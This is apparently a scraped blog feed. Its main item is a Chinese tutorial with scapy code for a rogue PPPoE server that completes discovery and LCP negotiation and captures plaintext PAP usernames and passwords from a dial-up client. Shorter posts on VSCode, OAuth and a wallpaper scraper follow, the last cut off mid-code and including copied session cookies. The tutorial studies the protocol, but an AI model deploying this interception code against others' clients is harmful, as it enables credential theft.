dll 拨号后，只要一个dll完成了它的“使命”，它会立刻卸载，导致我们通过 CE 手动暴搜内存几乎不可能（这里可能我写的有谬误，不过就我分析湖北的客户端来说感觉是这样）\n系统层面 这个就如文章中提到的事件日志相关的东西\n中间人 根据 PPPoE 协议的流程，我们完全可以自己搞一个 server 来进行拦截。\n下面我们将详细了解这个，以及能够自己动手实现一个简单的 PPPoE Server。\nPPPoE 协议流程 PPPoE 是一个二层协议，工作在链路层。\nPPPoE 主要分为两个阶段，一个是发现阶段，我的理解就是两台机器建立起点对点的联系，第二个是会话阶段，这个阶段主要是配置确认，然后开始验证账号密码。\n至于后面的分配 ip 的确定我们按下不表，因为此文主要关注的是拦截。\nPPPoE 具体可分为以下阶段\nPPPoE发现阶段(Discovery) 主机广播发起分组（PADI） 有效发现提供包分组（PADO） 有效发现请求分组（PADR） 有效发现会话确认（PADS） PPPoE会话阶段(Session) LCP协议请求确认配置(LCP-Config-Req) LCP协议确认配置(LCP-Config-Ack) PAP或CHAP验证账号密码 验证通过后开始进行一些后续的分配 ip 以及其他操作。\nPPPoE 发现阶段 PADI PADI 是一个广播包，发往 ff:ff:ff:ff:ff:ff 的广播地址，然后这个广播包会在本地网络进行广播。\n它的 CODE 字段值为 0×09，SESSION-ID（会话ID）字段值为 0×0000。\nPADI 分组必须至少包含一个 Host-Uniq，Host-Uniq为主机唯一标识，类似于PPP数据报文中的标识域，主要是用来匹配发送和接收端的。因为对于广播式的网络中可能会同时存在很多个PPPoE的数据报文。\n因为此时发的是广播包，那么我们只需要本机搭建一个 Server 对 PADI 进行响应，就可以开始我们的中间人作业了。\n具体流程就是监听网卡，然后过滤 CODE 字段值为 0×09 的包然后进行响应即可。\n因为其中的 Host-Uniq 字段在后续的请求中都需要，我们写一个函数把这个字段值揪出来。\n1 2 3 4 5 6 7 8 9 10 #寻找客户端发送的Host-Uniq def padi_find_hostuniq(self, payload): _key = b\u0026#39;\\x01\\x03\u0026#39; payload = bytes(payload) if _key in payload: _nIdx = payload.index(_key) _nLen = struct.unpack(\u0026#34;!H\u0026#34;, payload[_nIdx + 2:_nIdx + 4])[0] _nData = payload[_nIdx + 2:_nIdx + 4 + _nLen] return _key + _nData return 需要传入的是一个 Packet.payload，payload 是除去链路层的其他数据，在这里面具体就是 PPPoED 下面的数据\nPADO 当一个接入集中器（Server）接收到一个 PADI 包以后，就需要进行响应，发出 PADO 包了。\nPADO 包的 CODE 字段值为 0×07，SESSION-ID 字段值仍为 0×0000。\nPADO分组必须包含一个接入集中器名称类型的标签（此处的标签类型字段值为 akkuman），其实就是一个名字，你想填什么都可以。\n并且需要包含前面 PADI 包中的 Host-Uniq 字段，这个字段在 PPPoE 的发现阶段都是必要的。\n在载荷中可能有多个 tag，他们的格式如下：\n1 2 3 4 5 6 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TAG_TYPE | TAG_LENGTH | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TAG_VALUE ... ~ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 可以看出，标记的封装格式采用的是大家所熟知的TLV结构，也即是（类型+长度+数据）。标记的类型域为2个字节，各个标记的类型所代表的含义具体可以查看 RFC 2516 或 PPPoE帧格式\n这里的 0x0103 即代表 Host-Uniq，是主机唯一标识，作用在上文已经提及。\n那我们可以根据这个要求写一个发送 PADO 包的函数。\n1 2 3 4 5 6 7 8 9 10 11 #发送PADO回执包 def send_pado_packet(self, pkt): # 寻找客户端的Host_Uniq _host_Uniq = self.padi_find_hostuniq(pkt.payload) _payload = b\u0026#39;\\x01\\x02\\x00\\x07akkuman\\x01\\x01\\x00\\x00\u0026#39; if _host_Uniq: _payload += _host_Uniq # PADO 回执包的 sessoinid 为 0x0000 pkt.sessionid = getattr(pkt, \u0026#39;sessionid\u0026#39;, 0x0000) sendpkt = Ether(src=MAC_ADDRESS, dst=pkt.src, type=0x8863) / PPPoED(version=1, type=1, code=0x07, sessionid=pkt.sessionid, len=len(_payload)) / _payload scapy.sendp(sendpkt) 其中的 pkt 是接收到的 PADI 数据包。\n上面的 _payload 中的 \\x01\\x02 代表是 AC-Name 字段，\\x00\\x07 是后面的 akkuman 的长度。\\x01\\x01 是代表 Service-Name 字段，一般为空，所以我们这里直接填 \\x00\\x00。下文不再赘述。\n其中的源 mac 地址和目标 mac 地址我们需要改改。\n然后加上 Host-Uniq 字段，封装成包发出去，注意这里的 type=0x8863 是代表发现阶段，0x8864 是会话阶段。\n至于这个是怎么封装起来的，这个是 scapy 库的语法，Ether 代表链路层，剩下的依此大家参照图即可理解，最后的 _payload 代表接上一段原始数据，一般就是 bytes。\nPADR 因为 PADI 包是广播的，所以客户端有可能收到不同的接入集中器多个的 PADO 响应包，客户端应该基于 AC-Name 和可以提供的服务（这个参见 RFC2516）从中选择一个合适的接入集中器。\n然后客户端就发送 PADR 包到自己选择的接入集中器（将目标 mac 改成 PADO 包中的源 mac 即可），其中 CODE 字段为 0×19，SESSION_ID 字段值仍为 0×0000。\nPADS 当接入集中器收到一个 PADR 包以后，就要准备开始一个 PPP 会话了。\n在这个阶段，接入集中器会为接下来的 PPPoE 会话生成一个独一无二的 SESSION_ID，然后组装起来进行发送。其中 CODE 字段值为 0×65 。\n根据此我们可以写出一个发送 PADS 包的函数。\n1 2 3 4 5 6 7 8 9 10 11 #发送PADS回执包 def send_pads_packet(self, pkt): #寻找客户端的Host_Uniq _host_Uniq = self.padi_find_hostuniq(pkt.payload) _payload = b\u0026#39;\\x01\\x01\\x00\\x00\u0026#39; if _host_Uniq: _payload += _host_Uniq pkt.sessionid = SESSION_ID sendpkt = Ether(src=MAC_ADDRESS, dst=pkt.src, type=0x8863) / PPPoED(version=1, type=1, code=0x65, sessionid=pkt.sessionid, len=len(_payload)) / _payload scapy.sendp(sendpkt) 其中的 pkt 为接收到的 PADR 数据包。\n此时发现阶段就已经完成了，接下来就是进行 PPPoE 的会话阶段了。\nPPPoE 会话阶段 PPPoE 会话阶段的抓包并没有那么明显的特征，可能你在不同的时间看到的包的顺序都不太一样。\n在此阶段的 Type 为 0x8864，代表 PPPoES，即会话阶段。\nLCP链路配置建立 一个典型的 LCP Request 如下图所示。\nProtocol：决定了后面的载荷包含的是什么样的协议报文，类似以太帧的类型字段，是用以区分载荷送给哪个上层协议处理。收下为常见协议号：\n0xC021: LCP报文 0xC023: Password Authentication Protocol （PAP） 0xC223: Challenge Handshake Authentication Protocol （CHAP） 0x8021: IPCP报文，它是NCP协议的一种 （用来协商分配 ip） 0x0021: IP报文 LCP(Link Control Protocol) 是链路控制协议，是 PPP 协议的一个成员协议，PPP 协议在 LCP 阶段默认不做认证协商，LCP 的认证只作为一个可选的参数。\n接入集中器和客户端双方通过交互LCP配置报文来协商数据链路。\n协商内容包括验证方式、最大接收单元 MRU、魔术字（Magic Number）等选项。 在此阶段 LCP 的状态机发生两次改变，进入会话阶段后，检测到链路可用，则物理层会向链路层发送一个 UP 事件，链路层收到该事件后，会将LCP的状态机从当前状态改变为 Request-Sent（请求发送）状态。 LCP 开始发送 Config-Request 报文（即上图中 LCP 下面的 CODE 字段，为 1 代表 Config-Request）来协商数据链路，无论哪一端接收到了 Config-Ack 报文（LCP 的 CODE 字段为 2）时， LCP的状态机又要发生改变，从当前状态改变为 Opened 状态，进入 Opened 状态后收到 Config-Ack 报文的一方则完成了当前阶段，应该向下一个阶段跃迁，下一个阶段可能是 Authentication（如 PAP 或 CHAP），也可能是 Network Layer Protocol（NLP）。 同理可知，另一端也是一样的，但须注意的一点是在链路配置阶段双方是链路配置操作过程是相互独立的。\n如果配置了验证，将进入Authentication阶段，CHAP 或 PAP 验证。如果没有配置验证，则直接进入 Network Layer Protocol 阶段，即开始分配 ip 等操作。\n这是在网上找的 LCP 报文格式，其实更建议大家配合 wireshark 抓包来看。\n上面我的提到了 LCP 中的 code，LCP协议使用Code字段区分11种报文格式，详细的表见下，平时我们用的比较多的就是 1 和 2\nIdentifier：标识域的值表示进行协商报文的匹配关系。 标识域目的是用来匹配请求和响应报文。当对端接收到该配置请求报文后，无论使用何种报文回应对方，但必须要求回应报文中的ID要与接收报文中的ID一致。换句话说，在一个协商数据链路阶段，这个字段的值都是一样的，在本次我的例子抓包中为 1。\nLength：它是代码域Code、标志域Identified、长度域Length和数据域Data四个域长度的总和。\n下面是一张图，用来说明 req 与 ack 的交互。\n从这张图中可以相信不难理解之前的话了，A 和 B 初始都在 Request-Sent（请求发送）状态。 然后两者都开始发送 Config-Request 报文，只有 A 和 B 都收到了对方的 Config-Ack 报文。 才标志着 LCP 状态变迁的完成，可以向下一个阶段 NLP 或者 Autiontication（PAP 或 CHAP）跃迁。\n在协商数据链路配置阶段，点对点（PPPoE是点对点协议）双方至少都发了一个 Config-Request 报文，该报文中包含了发送方对于所有的配置参数的期望值。\n关于在协商数据链路配置阶段可能出现的报文，我给大家找了一页 PPT\n如果对方对于自己发送的 Config-Request 回应了一个 Config-Ack，则说明对方能识别所有选项，并且全部能够被接受； 如果对方对于自己发送的 Config-Request 回应了一个 Config-Nak，则说明对方能识别所有选项，但只有部分能够被接受； 如果对方对于自己发送的 Config-Request 回应了一个 Config-Rej，则说明对方有部分选项不能被识别，或者不能被接受； 如果双方最终收到对方发送的 Config-Ack 报文，则说明对方对于自己提出的配置参数的协商已经取得了一致，这同时也标志着链路建立顺利结束。 如果接收到了 Config-Nak 或者 Config-Rej，这也就意味着自己必须修改相应配置参数的期望值，然后向对方重新发送一个Config-Request报文，且等待对方新的回应。\n但是就我抓到的过程中，没看见过在这个阶段有 Config-Nak 的出现。\n有了上面的基础，我们再来看我的抓包历史记录\n其实大多不用管，只需要知道收到一个 Config-Request 得回一个 Config-Ack，并且自己也得发一个 Config-Request，并等待接收到对方的 Config-Ack。\n但是我抓了好几次包，测试了不少次，发现一般情况下，一方在第一次接收到对方的 Config-Request 报文时会回应一个 Config-Rej。后续才开始对接收到的 Config-Request 回应 Config-Ack。\n据此我们可以写出代码。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #处理 PPP LCP 请求 def send_lcp(self, pkt): # 初始化 clientMap if not self.clientMap.get(pkt.src): self.clientMap[pkt.src] = {\u0026#34;req\u0026#34;: 0, \u0026#34;ack\u0026#34;: 0} # 处理 LCP-Configuration-Req 请求 if bytes(pkt.payload)[8] == 0x01: # 第一次 LCP-Configuration-Req 请求返回 Rej 响应包 if self.clientMap[pkt.src][\u0026#39;req\u0026#39;] == 0: self.clientMap[pkt.src][\u0026#39;req\u0026#39;] += 1 print(\u0026#34;第 %d 次收到LCP-Config-Req\u0026#34; % self.clientMap[pkt.src][\u0026#34;req\u0026#34;]) print(\u0026#34;处理Req请求，发送LCP-Config-Rej包\u0026#34;) self.send_lcp_reject_packet(pkt) print(\u0026#34;发送LCP-Config-Req包\u0026#34;) self.send_lcp_req_packet(pkt) # 后面的 LCP-Configuration-Req 请求均返回 Ack 响应包 else: self.clientMap[pkt.src][\u0026#39;req\u0026#39;] += 1 print(\u0026#34;第 %d 次收到LCP-Config-Req\u0026#34; % self.clientMap[pkt.src][\u0026#34;req\u0026#34;]) print(\u0026#34;处理Req请求，发送LCP-Config-Ack包\u0026#34;) self.send_lcp_ack_packet(pkt) # 处理 LCP-Configuration-Rej 请求 elif bytes(pkt.payload)[8] == 0x04: print(\u0026#34;处理Rej请求，发送LCP-Config-Req包\u0026#34;) self.send_lcp_req_packet(pkt) # 处理 LCP-Configuration-Ack 请求 elif bytes(pkt.payload)[8] == 0x02: self.clientMap[pkt.src][\u0026#39;ack\u0026#39;] += 1 print(\u0026#34;第 %d 收到LCP-Config-Ack\u0026#34; % self.clientMap[pkt.src][\u0026#34;ack\u0026#34;]) else: pass clientMap 请无视，最开始是打算支持多个 client，并做记录使用，但是发现拦截根本不用实现这个。\n其中的方法我们先不展开，到时候会给大家把所有代码放上来，根据方法名大家应该能猜到是用来干嘛的。\nAuthentication 阶段 链路建立起来后，应该向下一个阶段跃迁，下一个阶段一般是 Authentication。一般来说就只有 PAP 和 CHAP。\nCHAP 在高校拨号客户端中使用还并不算多，大多采用 PAP，所以 CHAP 我们暂且按下不表，相信要是你能看完这篇文章并自己动手实践的话，CHAP 的分析对你来说也是手到擒来。\n在这里我们主要介绍 PAP 认证以及最最关键的环节：抓取账号密码。\nPAP 的 Protocol 字段为 0xc023\nPAP 包格式见下图\n从中我们可以看到 CODE 字段为 1，代表一个 Authentication-Request。前面我们说过了，Identifier 字段在链路建立阶段，这个字段的值是一样的，然后跃迁到下一阶段后，这个字段的值随着每个请求递增。\nPAP 包的认证方式是由被认证端主动发起，被认证端发送明文口令至认证端，由对方认证。\nPAP 并不能防止重放和穷举等攻击，而 CHAP 是由认证端主动发起（challenge 挑战），具体的安全提升大家可以自行查阅相关资料。\n其中的 CODE 字段我们可以参见下表\nCODE 值 报文名称 1 Authentication-Request 2 Authentication-Ack 3 Authentication-Nak 我们所做的是拦截，所以我们只需要关心 Authentication-Request 的 Data 字段就好，Data 字段中，Peer-ID（用户名）字段，Password字段，它们都是明文的。\n这里多说一点关于 Authentication-Ack 和 Authentication-Nak，如果认证成功，认证端会返回一个 Ack 并携带成功信息给被认证端，相反，认证失败会返回 Nak 并携带相关信息。\n所以我们要做的就是在收到 Authentication-Request 包时解析出账号密码即可完成我们的小 demo 了。\n代码如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 解析pap账号密码 def get_papinfo(self, pkt): # pap-req _payLoad = bytes(pkt.payload) if _payLoad[8] == 0x01: _nUserLen = int(_payLoad[12]) _nPassLen = int(_payLoad[13 + _nUserLen]) _userName = _payLoad[13:13 + _nUserLen] _passWord = _payLoad[14 + _nUserLen:14 + _nUserLen + _nPassLen] print(\u0026#34;get User:%s,Pass:%s\u0026#34; % (str(_userName), str(_passWord))) #self.send_pap_authreject(pkt) if pkt.src in self.clientMap: del self.clientMap[pkt.src] print(\u0026#34;欺骗完毕....\u0026#34;) 0x01 即代表 CODE 字段的 Authentication-Request。我们只需要从这个包里面按照抓包中的格式进行解析即可获取账号密码。\n总体完成代码我会放在文章最后\n遇到的一些坑 就算是一个并不算很困难的东西，但是在做这个东西的过程中还是遇到了不少坑，我在这里记录一下，免得后人和我一样踩坑。\n最开始我想着因为都是本机搭建 client 和 server，那么我直接把链路层的 source 和 destination 的 mac 都设置为本机的物理网卡 mac，也就是全部采用第一个 PADI 包中的 source mac，但是我发现 除了最开始的 PADI 和 PADO，后面的包，用 wireshark 根本抓不到，我猜想是不是两个 mac 相同的原因，导致包被丢弃了 client 没收到，或者 client 本身接到这个包，但是发现两个 mac 相同。 于是不继续发送 PADR 了，这个原因我并不明白，可以完整捕获流程的只能是 server 搭建在虚拟机或者网关也就是路由器。这个结果让我十分沮丧。然后我采用了几种我能想到的办法，但是均不奏效。\n最容易想到的应该是伪造 server mac 了。但并不能抓到，我怀疑是没办法找到这个 mac，可能丢弃了，但是我不理解为什么就算找不到应该也会发个包吧，不至于抓包记录都没有。 我用工具搭建了一个TAP网卡，我用 wireshark 看了下，包的流经是先经过 TAP 网卡，然后 TAP 会作为一个二层交换机，修改源 mac 和目标 mac 后发往以太物理网卡，然后我采用 server 监听 TAP 网卡，发响应包采用物理网卡，但是依旧是后续进行不下去，虽说这两个mac不一样，但是 client 那边依旧没响应，不知道是 client 丢弃了这个包还是说 client 那边没收到。 解决 当然这个问题到最后解决了，这里感谢一下老陈的指点。\n其实比较简单，问题就是 npcap，毕竟 scapy 和 wireshark 都推荐这个，我也就采用了这个，但是就像前面所说的，就算伪造 mac，应该也会流经物理网卡，但是 npcap 本地发的包收不到client响应包。\n所以采用 winpcap 就能正常了，包括两个 mac 相同也可以抓到。\n至于这个具体是什么导致的，还是说是一个 bug，并不是太清楚。\n你还可以做哪些有趣的事情 拦截以后，你可以自己配合自己的路由器进行拨号。\n甚至大胆一点，你也可以尝试给客户端一个成功的 Authentication-Ack，看客户端会是什么效果，要是你继续模拟完整个流程，包括 IPCP，那么客户端会按照你的想法给你发送心跳包吗？\n代码地址 PPPoE-Intercept\n参考资料 How To : 从Netkeeper 4.X客户端获取真实账号 RFC 2516 - A Method for Transmitting PPP Over Ethernet (PPPoE) RFC 1570 - PPP LCP Extensions RFC 1661 - The Point-to-Point Protocol (PPP) 点到点协议PPP-百度文库 PPP（three P）基本原理 PPPoE-hijack PPPoE工作原理以及PPPoE帧格式 致谢 感谢踩坑无助的时候老陈的提点\n","permalink":"https://www.hacktech.cn/post/2019/05/pppoe-server-mitm/","summary":"\u003cblockquote\u003e\n\u003cp\u003e本文首发于\u003ca href=\"https://www.anquanke.com/post/id/178484\"\u003ePPPoE中间人拦截以及校园网突破漫谈\u003c/a\u003e，转载请注明出处。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"pppoe中间人拦截以及校园网突破漫谈\"\u003ePPPoE中间人拦截以及校园网突破漫谈\u003c/h1\u003e\n\u003cp\u003e校园生活快结束了，之前还有点未完成的想法，趁着这两天有兴趣搞搞。\u003c/p\u003e\n\u003cp\u003e此文面向大众是那种在校园内苦受拨号客户端的毒害，但是又想自己动手折腾下的。\u003c/p\u003e","title":"PPPoE中间人拦截以及校园网突破漫谈"},{"content":"vscode 打开 django 项目提示 has not \u0026ldquo;object\u0026rdquo; member 是因为 Django 动态地将属性添加到所有模型类中，所以 ide 无法解析。\n解决方案：\n安装 pylint-django 1 pip install -U pylint-django 启用 pylint-django 打开项目下自动生成的 .vscode 文件夹下的 setting.json 文件，添加下面的配置项。\n1 2 3 \u0026#34;python.linting.pylintArgs\u0026#34;: [ \u0026#34;--load-plugins=pylint_django\u0026#34; ] ","permalink":"https://www.hacktech.cn/post/2019/04/vscode-django-pylint-error/","summary":"\u003cp\u003evscode 打开 django 项目提示 has not \u0026ldquo;object\u0026rdquo; member 是因为 Django 动态地将属性添加到所有模型类中，所以 ide 无法解析。\u003c/p\u003e\n\u003c!-- more --\u003e\n\u003cp\u003e解决方案：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e安装 pylint-django\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epip install -U pylint-django\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003col start=\"2\"\u003e\n\u003cli\u003e启用 pylint-django\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e打开项目下自动生成的 .vscode 文件夹下的 setting.json 文件，添加下面的配置项。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;python.linting.pylintArgs\u0026#34;\u003c/span\u003e: [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;--load-plugins=pylint_django\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ]\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"vscode打开django项目pylint提示has not object member"},{"content":"这个随便记录一下，也是朋友问我的一个问题。\n在网上找了下，没找到相关的，用英文也搜索了一下，可能我的关键词没找对，找了一会没找到。\n想到以前用过的rclone也是用的这样的方式，去看了下相关部分源码。\n解决方案是本地搭建一个 webserver 用来获取凭证，然后客户端就能拿到了。\n","permalink":"https://www.hacktech.cn/post/2019/04/get-auth-and-back-to-client/","summary":"\u003cp\u003e这个随便记录一下，也是朋友问我的一个问题。\u003c/p\u003e\n\u003cp\u003e在网上找了下，没找到相关的，用英文也搜索了一下，可能我的关键词没找对，找了一会没找到。\u003c/p\u003e\n\u003c!-- more --\u003e\n\u003cp\u003e想到以前用过的rclone也是用的这样的方式，去看了下相关部分源码。\u003c/p\u003e\n\u003cp\u003e解决方案是本地搭建一个 webserver 用来获取凭证，然后客户端就能拿到了。\u003c/p\u003e","title":"从客户端取到浏览器返回的oauth凭证"},{"content":"好久没写东西了，随便水一篇文，也是比较简单的东西\n可能每个喜欢二次元的人都有自己的老婆或者老公吧，之前在朋友那里看到了一个壁纸网站wall.alphacoders.com，要是我想要亚丝娜的壁纸，只需要搜索她的英文名Asuna即可看到一千多张有关亚丝娜的壁纸。壁纸收集爱好者肯定就和我一样想把它们给下载到自己的电脑上幻灯片当作壁纸了，当然手工下载是不可能的，必须写下爬虫，分析下壁纸下载流程。\n请求分析 首先我们F12打开开发者工具，在一张图上找到下载\n我们在开发者工具里面取元素，并没有看到下载链接，说明下载链接并没有包含在原始html中，但是点击是可以下载的，并且可以看到整个页面并没有进行刷新，判断是一个ajax请求，直接点进XHR，然后再次点击下载链接可以看到请求。\n可以看到这个请求返回了一个链接，我们直接访问链接，发现是可以下载的，说明这就是下载链接了，那么这个链接是怎么来的呢？\n我们看看请求，这个post请求里面有一些参数，我们先不去考虑这些参数怎么来的，我们先模拟一下请求看看请求Header里面有没有什么东西是必须的，这里直接上postman或者curl都可以，如果你的机器上面安装了curl我推荐用这个，因为Chrome开发者工具，直接可以在请求上右键Copy as cURL，直接可以帮你复制出curl命令，我这里复制出来是这样的\n1 curl \u0026#34;https://wall.alphacoders.com/get_download_link.php\u0026#34; -H \u0026#34;Pragma: no-cache\u0026#34; -H \u0026#34;Origin: https://wall.alphacoders.com\u0026#34; -H \u0026#34;Accept-Encoding: gzip, deflate, br\u0026#34; -H \u0026#34;Accept-Language: zh-CN,zh;q=0.9\u0026#34; -H \u0026#34;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\u0026#34; -H \u0026#34;Content-Type: application/x-www-form-urlencoded; charset=UTF-8\u0026#34; -H \u0026#34;Accept: */*\u0026#34; -H \u0026#34;Cache-Control: no-cache\u0026#34; -H \u0026#34;X-Requested-With: XMLHttpRequest\u0026#34; -H \u0026#34;Cookie: __cfduid=d7ec945393d1b5ef3c28d4c9d12ef9fb11552315444; cookieconsent_status=allow; wa_session=1eogv8ehgn3itq5g4g8hfsducpkm9lbu46q893vrkhph3ued4rm89gvk7ck4fdg9k73cmrcdesoqj4crm1575vj3lfid9e67fpis661\u0026#34; -H \u0026#34;Connection: keep-alive\u0026#34; -H \u0026#34;Referer: https://wall.alphacoders.com/search.php?search=Asuna\u0026#34; --data \u0026#34;wallpaper_id=533007^\u0026amp;type=png^\u0026amp;server=images8^\u0026amp;user_id=79150\u0026#34; --compressed 我们先去掉不必要的东西 curl \u0026quot;https://wall.alphacoders.com/get_download_link.php\u0026quot; --data \u0026quot;wallpaper_id=533007\u0026amp;type=png\u0026amp;server=images8\u0026amp;user_id=79150\u0026quot; ，直接执行，发现可以获取到地址，所以现在要考虑的只有这些参数是怎么来的了，下面我同样放一张postman的图，可以看到是同样的可以获取到下载链接\n这些参数我们从两方面考虑，一是用js算出来的，一个就是在html中存在的。\n我们首先在html里找找看有没有。\n通过关键字搜索页面html，我们可以找到每一张图都有一串类似于下面的属性\n1 data-id=\u0026#34;533007\u0026#34; data-type=\u0026#34;png\u0026#34; data-server=\u0026#34;images8\u0026#34; data-user-id=\u0026#34;79150\u0026#34; 和上面的post参数是一一对应的。\n所以爬取思路就出来了。\n访问一个页面，取到每一个图的特定属性，然后构造post请求得到下载地址，然后访问地址下载图片\n那新问题是如果进行翻页并且判断是否到了最后一页。\n我们可以发现页数是通过get的网址决定的，https://wall.alphacoders.com/search.php?search=asuna\u0026amp;page=10 ，更改page后面的值即可。\n判断是否到了尾页，我们可以打开最后一页，然后查看一下html，我们可以看到下一页按钮的链接已经变成了 \u0026lt;a id='next_page' href='#'\u0026gt;Next\u0026amp;nbsp;\u0026amp;#62;\u0026lt;/a\u0026gt; ·，那我们就可以根据href的值是否为 # 来判断了。\nPython库的选择 唯一用到的第三方库就是 Requests ，以前解析html的Dom树喜欢用BeautifulSoup，但是后来发现解析速度上确实和re有很大差距，并且当html有很特殊的字符时会又是莫名出错，故工程量不大的情况下，我现在还是优选正则。\n代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 #coding=utf-8 import requests import re import os import sys proxies = { \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:1080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://127.0.0.1:1080\u0026#34;, } #proxies = {} download_dir = \u0026#39;./pic/\u0026#39; downloaded_num = 0 total = 0 def download_pic(url, name, pic_type): global proxies global download_dir global downloaded_num global total # if dir isn\u0026#39;t exist, create a dir to download pic if not os.path.exists(download_dir): os.makedirs(download_dir) # download pic to special dir r = requests.get(url, proxies=proxies) downloaded_num += 1 with open(\u0026#39;%s/%s.%s\u0026#39;%(download_dir, name, pic_type), \u0026#39;wb\u0026#39;) as f: f.write(r.content) print(\u0026#39;[{:5d}/{}] {}.{} Done!\u0026#39;.format(downloaded_num, total, name, pic_type)) def get_download_link(wallpaper_id, wallpaper_type, server, user_id): global proxies post_data = { \u0026#39;wallpaper_id\u0026#39;: wallpaper_id, \u0026#39;type\u0026#39;: wallpaper_type, \u0026#39;server\u0026#39;: server, \u0026#39;user_id\u0026#39;: user_id, } r = requests.post(\u0026#39;https://wall.alphacoders.com/get_download_link.php\u0026#39;, data=post_data, proxies=proxies) download_pic(r.text, wallpaper_id, wallpaper_type) def getwallpaper(keyword): global proxies global total p_nextpage = re.compile(r\u0026#34;\u0026lt;a id=\u0026#39;next_page\u0026#39; href=[\\\u0026#39;\\\u0026#34;](.+?)[\\\u0026#39;\\\u0026#34;]\u0026gt;\u0026#34;) p_item = re.compile(r\u0026#39;data-id=\u0026#34;(\\d+?)\u0026#34; data-type=\u0026#34;(\\w+?)\u0026#34; data-server=\u0026#34;(\\w+?)\u0026#34; data-user-id=\u0026#34;(\\d+?)\u0026#34;\u0026#39;) page_num = 1 while 1: r_page = requests.get(\u0026#39;https://wall.alphacoders.com/search.php?search=%s\u0026amp;lang=Chinese\u0026amp;page=%d\u0026#39; % (keyword.lower(), page_num), proxies=proxies) nextpage_link = p_nextpage.search(r_page.text) # if there isn\u0026#39;t any search result, it will exit the loop if nextpage_link == None: print(\u0026#34;Sorry, we have no results for your search!\u0026#34;) break if 